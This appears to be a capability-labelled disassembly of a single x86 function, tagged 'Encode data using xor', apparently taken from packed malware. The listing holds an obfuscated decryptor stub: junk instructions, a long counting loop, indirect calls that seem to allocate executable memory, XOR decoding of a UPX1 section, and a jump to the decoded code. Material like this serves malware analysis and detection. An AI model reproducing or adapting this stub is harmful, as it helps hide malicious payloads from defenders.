Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x4ae0fe44
and esi, edx
add edx, 0xe00e1ab0
add edx, 0xcaa6484f
popal
mov edx, esi
sub esi, edx
mov eax, 0
mov ebx, edx
mov edi, 0x99bbb123
dec edi
add edi, 1
mov esi, ebx
or edi, edi
dec edi
mov ecx, edi
mov edx, esi
sub ecx, edi
or ecx, edi
add eax, 1
mov edi, 0x732c74ae
mov ecx, edi
cmp eax, 0x1004cfc
jne 0xa789ca
add ecx, 0x33e315d1
dec ecx
dec edx
mov edx, esi
mov ebx, 0xa78796
dec eax
dec edx
mov edi, 0xa7898a
sub eax, 0x4063019e
add edx, ecx
mov esi, dword [ebx]
and eax, ecx
mov eax, edx
and esi, 0xff
sub edx, ecx
or eax, eax
dec eax
xor dword [edi], esi
or eax, edx
mov ecx, 0xe1aee22e
sub eax, 0x14914f07
inc edi
or edx, ecx
inc edx
inc ebx
not eax
mov ecx, 0xa256392
sub edx, ecx
cmp edi, entry0
jl 0xa78a1c
mov eax, 0x8ee5d1f0
add ecx, ecx
or ecx, edx
mov eax, ecx
add edx, 0xba3e3b48
mov ebx, esi
mov edi, 0xa7898e
mov edx, ecx
sub esi, ecx
mov edi, dword [edi]
add ecx, 1
add edx, esi
add esi, ecx
mov edi, dword [edi]
and ebx, edx
add edx, 0x9778cb67
push edi
not ecx
add ecx, edx
add edx, esi
mov edi, 0xa7898a
mov edx, 0x498c6806
dec ebx
mov edi, dword [edi]
dec ecx
inc edx
sub edx, 0x8472cd46
mov edi, dword [edi]
add esi, 0x76e4d634
add edx, 0xc8c0ffbb
push 0xa78992
add ecx, ebx
not edx
call edi
dec edx
and esi, esi
add ebx, 0xfbb08e7f
pop edi
add ecx, ebx
sub ecx, 0x68773c9d
push 0xa7899f
sub ebx, 0xc389e6c3
add esi, 1
push eax
mov esi, 0x4e9edc
or edx, ebx
add esi, 1
call edi
add esi, ebx
sub edx, ecx
push 0x40
mov ecx, 0x961c312a
add esi, ecx
sub esp, 4
mov dword [esp], 0x3000
add edx, esi
sub esi, ebx
sub esp, 4
mov dword [esp], 0x200003f3
dec edx
add edx, 0x8f7b2209
push 0
sub edx, ecx
mov ebx, esi
inc edx
call eax
dec esi
add ebx, 0x9f34057c
sub ebx, 0xbd5c709c
add eax, 0x20000368
mov ecx, ebx
or esi, ecx
mov edi, 0x402cafd9
add edx, 1
dec ecx
or ecx, ebx
mov dword [eax], edi
dec edx
add ecx, 0xaccb1781
sub ecx, edx
mov edi, dword [eax]
sub ebx, 1
inc esi
or edx, ebx
cmp edi, 0x402cafd9
je 0xa78b75
mov ecx, 0
mov eax, dword [ecx]
not ebx
add ecx, edx
dec ecx
add esi, ebx
add esi, esi
and esi, esi
dec esi
mov ecx, section.UPX1
sub edx, esi
mov esi, 0xfd69f00f
add esi, edx
mov edi, 0xa78795
add edx, 0x281a30ad
mov edx, esi
sub edx, esi
mov eax, 0
add esi, edx
and edx, edx
mov ebx, 0xa78796
not esi
add esi, 0x41c9be0d
sub esi, edx
lea ebx, [eax + ebx]
add esi, 0xcb65e4c3
not edx
mov edx, 0xe12cc561
mov ebx, dword [ebx]
sub esi, edx
inc esi
and ebx, 0xff
dec edx
mov esi, 0x844ff41f
inc eax
add esi, 0xa83853a8
and edx, edx
cmp eax, 0x1f4
jne 0xa78bed
mov eax, 0
inc edx
sub edx, 0x154e65e7
dec edx
add edx, esi
xor dword [ecx], ebx
add edx, esi
and esi, esi
sub edx, esi
add ecx, 2
and esi, edx
or esi, esi
and edx, edx
cmp ecx, edi
jl 0xa78ba7
sub esi, edx
not edx
mov edx, esi
not esi
mov ebx, section.UPX1
sub edi, esi
sub edi, 1
mov edi, 0x1b7c1877
mov ecx, section.UPX1
or edi, edi
or edi, edi
add esi, edi
mov eax, 0xa78795
not esi
sub esi, edi
mov edx, 0
add edi, edi
sub edi, esi
sub edi, esi
mov dl, byte [ecx]
not edi
add edi, 1
mov byte [ebx], dl
sub esi, 0x257f71a5
mov esi, edi
mov edi, esi
add ebx, 1
add edi, esi
not esi
add ecx, 2
and esi, esi
add esi, edi
cmp ecx, eax
jle 0xa78c4c
add edi, edi
sub edi, 0xdcbcadf1
inc edx
dec esi
add esi, esi
push 0x8dc6a0
sub esi, edx
sub edx, esi
ret